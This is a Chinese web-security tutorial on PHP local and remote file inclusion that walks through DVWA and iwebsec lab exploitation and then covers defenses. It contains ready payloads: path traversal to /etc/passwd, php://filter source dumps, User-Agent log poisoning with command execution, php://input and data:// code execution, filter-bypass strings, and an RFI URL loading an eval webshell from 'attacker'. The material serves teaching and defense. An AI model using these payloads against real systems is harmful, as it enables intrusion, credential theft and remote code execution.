深入解析文件包含漏洞:LFI/RFI原理、利用与防御实战

发布时间:2026/9/15 16:46:48
深入解析文件包含漏洞:LFI/RFI原理、利用与防御实战 做Web安全测试这些年文件包含漏洞绝对是那种“名气大、但很多人说不透”的类型。一聊到LFI、RFI大家都能接上几句可真要动手复现一次、把触发原理、利用姿势和修复方案串起来讲明白大部分人又开始含糊。这篇文章就把文件包含漏洞从原理到利用再到防御完整拆一遍文中涉及的所有攻击手法都在DVWA和iwebsec这类本地靶场里实测过务必在授权环境下做测试。不管是准备面试、做代码审计还是给团队做安全培训这份内容都值得你花十分钟读完。1. 文件包含漏洞到底是什么从一行代码说起1.1 文件包含机制原本解决什么问题讲漏洞之前得先搞清楚文件包含机制本身是干什么的。以PHP为例include、require、include_once、require_once这四个函数作用是把另一个文件的内容引入当前文件并执行。这在开发里太太太常见了网站几百个页面要共用导航栏、数据库连接、公共函数库总不能每个文件都复制粘贴一遍吧把公共部分抽离成单独文件用include引进来改一处全局生效代码复用率高维护成本也低。生活化一点理解include就像做饭时候的预制菜。你炒菜不需要从种地开始把提前处理好的配菜直接下锅就行。PHP的include就是这盘预制菜提前写好的公共文件在需要的时候直接“下锅”。1.2 漏洞出现的核心原因用户输入进了文件路径那么漏洞出在哪关键就在“动态”两个字。如果include的路径是写死的比如include(header.php)那不管用户怎么操作都只能加载这个文件安全上没毛病。但实际开发中不少程序员为了“省事”会把用户传进来的参数直接拼接到文件路径里。比如经典的index.php?pagexxx路由风格代码长这样// 危险写法直接把用户参数拼接进include $page $_GET[page]; include($page . .php); // 安全写法白名单映射 $allowed_pages [home, about, contact]; if (in_array($_GET[page], $allowed_pages)) { include($_GET[page] . .php); } else { include(home.php); }用户只要把page参数改成../../../../etc/passwd程序就把路径拼接后扔给include去处理。如果目标系统配置允许include会把/etc/passwd的内容按PHP解析后输出——不是PHP标签的部分就原样显示。这就是文件包含漏洞的本质用户的输入被当成了文件路径的一部分进而被include、require等函数解析。为什么老项目容易中招我翻过不少真实案例最大原因是历史遗留代码。早期PHP开发追求快速上线项目里铺天盖地都是index.php?pagexxx这种写法后面做安全整改时每一处都要改改动量大漏掉一两个点太正常了。再加上当时不少自研框架的路由转发逻辑也存在类似问题一层层嵌套进去排查难度直线上升。1.3 LFI与RFI的区别本地与远程两条利用路径文件包含漏洞通常按“包含文件的来源”分成两个分支LFILocal File Inclusion本地文件包含包含的是目标服务器本地的文件利用重点是读取敏感文件、配合其他漏洞拿代码执行权限。RFIRemote File Inclusion远程文件包含包含的是远程服务器上的文件攻击者可以直接把恶意文件“甩”到目标服务器上执行危害更直接但利用条件也更苛刻最核心的条件是PHP配置里的allow_url_include必须开着。两者在代码层面同源都是输入校验缺失但利用路径和防御思路差别很大。下面拆开细讲。2. LFI本地文件包含从读文件到Getshell的完整链路2.1 最基础的利用目录穿越读取敏感文件在DVWA的low级别LFI靶场里简化后的测试代码如下?php $file $_GET[page]; include($file); ?这里连.php后缀都没拼接直接include($file)是极端情况但也刚好用来演示原理。输入http://127.0.0.1/dvwa/vulnerabilities/fi/?page../../../../etc/passwd为什么路径前面要加那么多../../因为include()在解析相对路径时基于当前工作目录。DVWA的执行脚本在/var/www/html/dvwa/vulnerabilities/fi/下从这往根目录穿层数不少。多写几层没关系Linux文件系统对多余的../会直接忽略所以多写比少写更稳妥这也是我实测过的经验。读取成功的标志是页面直接输出root:x:0:0:root:/root:/bin/bash这类内容。老版本PHP还可能在页面顶部弹出warning警告但影响不大。除了/etc/passwdLFI还能读不少敏感文件/etc/passwd系统用户信息/var/log/auth.logSSH登录日志可能泄露登录行为信息/proc/self/environ进程环境变量可能带出数据库密码、密钥应用配置config.php、.env、settings.py数据库导入导出文件、备份压缩包2.2 读取源码的经典姿势php://filter伪协议如果直接用LFI读config.php会把PHP代码当成脚本来执行结果通常是页面一片空白什么源码都看不到。想看源码得借助PHP流包装器里的php://filter。经典payloadhttp://target/?pagephp://filter/convert.base64-encode/resourceconfig.php原理一句话php://filter是个元封装器能在读取文件的同时做过滤处理。这里用convert.base64-encode把文件内容转成base64再输出base64结果不包含?php不会被当成PHP代码执行而是原样返回浏览器。拿到base64字符串解码就能看到完整源码。这个技巧在实战里出场率极高。做代码审计时通过它可以把目标应用的源码一点点抠出来分析业务逻辑、找其他漏洞点。我测试一些老系统时就靠这招顺藤摸瓜从LFI点一路拿到整站数据库配置。2.3 进阶利用日志注入Getshell读文件毕竟只是信息收集离控制服务器还差一步。如果目标环境不允许RFIallow_url_include关闭还有一条经典路径日志注入。思路其实很直白LFI能包含任意文件那能不能把恶意PHP代码写进某个服务器日志文件再用LFI去包含这个日志让PHP代码被服务器执行Apache的access.log会记录HTTP请求信息User-Agent字段内容完全由我们控制。攻击流程分四步构造请求把User-Agent改成一句话木马比如请求正常发给目标Apache把User-Agent写进access.log前提是日志目录对PHP进程可读。用LFI带上日志文件路径http://target/?page../../../../var/log/apache2/access.loginclude把日志内容当PHP解析User-Agent里的代码被执行。配合访问http://target/?page../../../../var/log/apache2/access.logcmdid就能看到系统命令输出。日志注入有几个关键限制日志路径要猜对。Debian/Ubuntu一般是/var/log/apache2/access.logCentOS/RHEL是/var/log/httpd/access_lognginx是/var/log/nginx/access.log。特殊字符要处理。直接浏览器访问User-Agent里的空格、特殊符号可能被URL编码导致PHP代码解析失败。更稳妥的做法是用Burp Suite构造请求把UA完整写进去。PHP进程要有日志读取权限。PHP-FPM通常用www-data用户运行一般能读日志但容器或加固过的系统就不一定了。除了access.logerror.log、mail.log、SSH auth日志都可以作为备选。其中error.log因为记录PHP解析错误常保留源码信息有时比access.log还好用。2.4 PHP伪协议全家桶data://与php://input除了php://filter和日志注入PHP还有几个伪协议和LFI搭配时非常实用。php://input读取请求体原始POST数据。只要allow_url_include开启可以直接把POST体当PHP代码执行POST /index.php?pagephp://input HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded ?php system(id); ?data://可以把字符串包装成数据流利用条件同样要求allow_url_include开启。payload一般是http://target/?pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8其中PD9waHAgc3lzdGVtKCdpZCcpOz8是 的base64编码。这个方案好处是不用额外起远程服务器浏览器直接能打。这两个伪协议本质上和RFI很像但因为在本地PHP环境就能完成不需要跨网络不少文章会归在LFI利用链里。我的经验是测试时先探allow_url_include状态开着优先试php://input和data://比日志注入省事得多没开再走日志注入方案。2.5 常见绕过技巧双重编码与路径截断真实业务里LFI多半有过滤最常见的就是过滤../和http关键字。这时候就要用到绕过技巧我挑实战中最常遇到的几个。双重编码。有些系统会对用户输入做两次urldecode但过滤器只过滤了一层。比如代码$file urldecode($_GET[page]); $file str_replace(../, , $file); include($file);这里str_replace只替换一次。如果攻击者构造%252e%252e%252f第一次urldecode后变成%2e%2e%2f还没变成../替换不生效第二次urldecode后才变成../此时已经绕过过滤进到include。payloadhttp://target/?page%252e%252e%252f%252e%252e%252fetc%252fpasswd长度截断。这个技巧在PHP 5.3.4版本有效原理是操作系统对文件路径有长度限制Linux 4096字节、Windows 260字节PHP拼接超长路径时超出部分会被截断。攻击者在路径后加一堆./做填充系统读取时截掉尾部从而绕过基于后缀的白名单。不过PHP 5.3.4之后这个手法基本失效我在讲解时会交代历史背景避免新手在现网环境里耗费大量时间。还有一个实用技巧如果代码是include($_GET[page] . .php)强制拼接了.php后缀怎么读其他文件除了老版本的空字节截断%00截断现在最稳的是php://filter它的resource参数可以读取任意文件不受拼接后缀影响http://target/?pagephp://filter/convert.base64-encode/resource../../../../etc/passwd注意这个方案能不能成功取决于PHP版本和实际的路径解析但优先级排最前值得先试。3. RFI远程文件包含利用条件、实战与现状3.1 RFI成立的前提allow_url_include与allow_url_fopenRFI的原理一句话能说清代码include了一个远程URLURL上的内容是攻击者控制的。但要让这句“成为可能”必须同时满足两个条件PHP配置allow_url_include On默认关闭代码对文件来源没有任何校验allow_url_include是PHP 5.2之后默认关闭的配置项专门控制是否允许include/require加载远程文件。为什么这个默认值这么重要因为一旦允许include远程URL代码里存在任意文件包含等于直接送给攻击者一个执行代码的入口。现在绝大多数线上PHP环境这项配置都是关闭的但我在测试中仍然碰到过老系统、容器镜像、一键安装包里开着allow_url_include的情况合规测试里值得重点排查。还要提一下allow_url_fopen。它控制fopen/file_get_contents这类函数是否能访问远程URL默认是On。有些开发者以为关掉allow_url_fopen就能防RFI但实际上include是否支持远程文件由allow_url_include单独控制。所以加固时两个配置都得检查。3.2 远程恶意文件实战从恶意文件到代码执行在本地靶场复现RFI一般这样搭建攻击者准备一台“攻击机”放一个恶意PHP文件比如shell.txt?php eval($_POST[x]);?目标漏洞代码?php $file $_GET[page]; include($file); ?攻击者访问http://target/?pagehttp://attacker/shell.txt当include开始干活它会向attacker主机发起HTTP请求获取shell.txt内容然后当作PHP代码执行。攻击者拿下目标的代码执行权限配合蚁剑、冰蝎等工具连接WebShell。这里有个细节恶意文件后缀为什么用.txt不用.php因为目标环境如果对扩展名有过滤或者攻击者不想让恶意文件一看就是PHP用txt、图片后缀更稳妥。同时攻击机上放恶意代码时服务器要能返回200状态码Content-Type更要选好否则PHP的include可能返回报错。3.3 为什么真实环境里的RFI越来越罕见我在技术群里看到有人报RFI漏洞第一反应往往是怀疑——现在还能碰到RFI吗确实纯RFI在公网环境已经非常罕见了原因有几个allow_url_include默认关闭默认配置直接堵死了这条路。CDN、云WAF基本都会把URL里带远程地址的请求拦下来。主流框架和CMS都做了严格的文件路径校验比如ThinkPHP、Laravel、WordPress对文件来源有完整校验逻辑。安全审计的偏好不同LFI只要管理好自己服务器文件就行RFI牵扯外部链接安全团队会重点盯防。但这不代表RFI会完全绝迹。在内网渗透、供应链系统、老旧系统、以及误改PHP配置的定制环境里RFI依然可能出现。而且RFI利用成本比LFI低不需要日志注入那些花活打点成功就能直接拿shell出现一次基本都是严重漏洞。RFI的思路在非PHP场景也有变体比如Java的URLClassLoader、Python里import网络路径包本质都是加载了攻击者可控的代码源。4. 靶场复现DVWA与iwebsec文件包含漏洞完整实验4.1 DVWA File Inclusion模块分级实操DVWA是经典PHP靶场File Inclusion模块把LFI和RFI分成了low、medium、high、impossible四个等级。我的复现环境是Docker部署的DVWAApache PHP 7.x。Low级别代码直接include($_GET[page])无任何过滤。LFI读passwd和php://filter读源码都能直接成功LFI读passwd/dvwa/vulnerabilities/fi/?page../../../../etc/passwd 读源码/dvwa/vulnerabilities/fi/?pagephp://filter/convert.base64-encode/resource/var/www/html/dvwa/config/config.inc.phpMedium级别代码增加了过滤$file str_replace(array(http://, https://), , $file); $file str_replace(array(../, ..\\), , $file);它把http://和../都删掉这里有个经典绕过双写。str_replace只替换一次没有递归构造http://http://或者..././就能绕过。比如/dvwa/vulnerabilities/fi/?page..././..././..././..././etc/passwd因为中间的../被删掉后剩下的部分重新拼起来还是可以穿越。RFI则可以用http://http://attacker/shell.txt绕过。High级别代码改成$file $_GET[page]; if (!fnmatch(file*, $file) !fnmatch(php*, $file)) { include($file); }它把file和php开头的协议都拦了但相对路径访问仍然有效因为路径里不带file://或php://前缀。所以还是可以用../../../../etc/passwd。这个等级在现实系统里具备代表性很多系统的防御水平就在这档——挡协议但不挡路径穿越。Impossible级别使用白名单机制把页面的固定值限定在数组内并验证参数值是否在数组中。这个等级无法通过LFI/RFI利用。DVWA复现时建议直接用Burp Suite构造请求因为浏览器直连时日志注入等场景会受User-Agent干扰而且浏览器对URL长度有限制部分payload会被截断。4.2 iwebsec文件包含靶场进阶实战iwebsec是一套部署在Docker里的综合靶场比DVWA多了一些贴近现代Web业务的攻击场景。它的文件包含模块同样分LFI和RFI最大的特点在于漏洞场景更像真实业务——模拟的不是“为了漏洞而漏洞”的代码而是接近中小型PHP项目里常见的路由写法。比如典型代码$module $_GET[m]; $page $_GET[p]; include(pages/.$page);iwebsec在后端做了不少和DVWA不同的小设定有些关卡在include前做白名单判断有些关卡把参数值先取base64解码再拼路径有些关卡给了完整的phpinfo接口配合日志注入所以把它当LFI进阶训练靶场很合适。在iwebsec上复现LFI建议按这个顺序测试直接尝试目录穿越读/etc/passwd和/var/www/html/index.php。如果被拦截看拦截位置是WAF层、代码层还是Web服务器层。iwebsec部分关卡用了类似WAF的规则需要绕。尝试php://filter读源码确认PHP版本和配置。有RFI开关的关卡直接用数据伪协议或远程文件测试。日志注入iwebsec环境里Apache日志路径为/var/log/apache2/access.log配合UA注入可以 getshell注意授权环境测试。iwebsec的LFI关卡难度差异更明显有些直接读文件有些需要多重嵌套过滤。整体感觉iwebsec更接近面试题和真实代码审计场景适合有一定基础的人上手。4.3 两个靶场的对比与训练建议对比项DVWAiwebsec漏洞等级low/medium/high/impossible关卡制难度阶梯较多过滤方式字符串替换、协议拦截、白名单字符串替换、WAF规则、白名单、编码解码LFI利用重点路径穿越、php://filter、日志注入路径穿越、伪协议、日志注入、过滤器绕过RFI场景有low直接RFImedium需要绕过有关卡专门测RFI适合人群新手入门进阶/面试训练我的建议是刚入门先用DVWA把LFI四个等级全部打穿理解白名单是唯一根治手段再用iwebsec做LFI/RFI的多样绕过训练尤其它在过滤上的变化多更贴近真实代码审计里的“见招拆招”。5. 文件包含漏洞的防御与修复从代码到纵深5.1 代码层根治方案白名单映射是最可靠的第一原则是绝对不信任用户输入。文件路径不能由用户直接指定。最可靠的方式是白名单映射在业务上需要根据参数切换模板、切换文件时建一张映射表$templates [ home tpl/home.php, about tpl/about.php, contact tpl/contact.php, ]; $page isset($_GET[page]) ? $_GET[page] : home; if (!isset($templates[$page])) { http_response_code(400); die(非法访问); } require($templates[$page]);这样不管用户传什么include到的都是白名单里预先定义好的文件。这种方案天然免疫LFI/RFI因为用户根本没机会指定完整路径。如果业务上实在要支持路径拼接最低要求是做到三件事强制限定在指定目录内用realpath校验、过滤..和协议关键字作为黑名单兜底但不能只靠它、用basename()和安全的拼路径方式。我特别想强调不要在include前做“看似完整”的黑名单过滤。很多团队以为把../和http替换掉就安全了实际绕过方式太多了双写、编码、绝对路径、伪协议总有一款能绕出来。黑名单只是辅助白名单才是正解。5.2 PHP与Web服务端配置加固PHP配置层面重点检查三项allow_url_include Off强制关闭RFI源头。allow_url_fopen非业务必需也建议关掉减少恶意远程资源加载面。open_basedir限制PHP可访问的目录范围即使发生LFI也只能读到指定目录内的文件系统性降低危害面。配置时路径要写全比如open_basedir/var/www/html:/tmp否则业务功能可能报错。Web服务器也可以加一层防护。Nginx下用location规则直接拦截可疑参数if ($query_string ~* \.\./){ return 403; }这属于兜底不能作为唯一防线。5.3 运行时监控与WAF兜底代码和配置加固之外运行时安全监控也不能缺。WAF层规则一般覆盖参数里是否包含../、..\、%2e%2e、%252e这类路径穿越特征参数值是否包含php://、data://等协议头include的路径是否以http、https开头请求UA或GET/POST参数中是否包含PHP标签特征但要注意WAF规则要是跟不上编码绕过、大小写绕过这些手法一样会被穿透。所以更靠谱的思路是纵深防御代码白名单做第一层open_basedir做第二层WAF做第三层。5.4 真实业务环境下的应急响应如果是在真实业务里发现LFI/RFI漏洞建议按下面的顺序处理第一时间确认影响面漏洞代码在哪、是否符合白名单原则、日志里有没有被利用的痕迹。快速止血代码层先做强制过滤或切换白名单把入口封住。排查二次漏洞这个入口是否已经被用于RCEGit拉一下文件变更记录检查WebShell和系统日志发现后门立刻删除封禁来源IP。复盘加固全局审计所有include/require点用脚本扫码一遍代码仓库对PHP配置做基线检查和加固。建立检测规则把相关攻击特征加到WAF和IDS里持续监控类似攻击。最后说个我在真实代码审计里经常看到的现象。很多团队修复文件包含漏洞时第一反应是在现有代码上加一段“过滤../和http”的黑名单本地测一下没问题就上线了。但这类修复非常脆弱后续换PHP版本、加中间件、引入新框架后原有过滤很容易被绕开。我见过最典型的例子一个系统开了open_basedir但没有白名单校验攻击者通过php://filter绕过了目录限制把配置读了出来。所以我的建议很简单——如果代码里还有include/require接用户参数的地方别想着打补丁直接改成白名单映射一次性根治。这种修复看着不“高端”但它真正有效而且长期稳定。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询